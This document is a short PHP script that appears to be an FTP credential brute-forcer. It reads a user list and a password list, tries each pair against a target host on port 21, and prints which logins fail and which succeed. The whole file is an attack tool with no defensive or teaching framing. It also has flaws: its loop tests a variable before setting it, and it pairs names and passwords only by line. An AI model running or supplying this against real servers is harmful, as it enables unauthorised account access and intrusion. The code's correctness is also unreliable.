<?php

$host = "You host";

$userlist = "Your Userlist.txt";
$passlist = "your pass.txtt";

$i = 0;

$uhandle = fopen($userlist, "r");
$phandle = fopen($passlist, "r");

$uline = file($userlist);
$pline = file($passlist);

while($curUser[$i] != "\n") {
    $curUser = $uline[$i];
    $curPass = $pline[$i];

    $conn = ftp_connect($host, 21) or die ("Cannot connect to host");

    @$login = ftp_login($conn, $curUser, $curPass);
    if(!$login) {
        echo "login failed for user <b>$curUser</b> & pass: <b>$curPass</b>\n<br>";
    } else {
        echo "<font color=green>login valid! user: <b>$curUser</b> & pass: <b>$curPass</b>\n<br>";
    }

    ftp_close($conn);
    $i++;
}
?>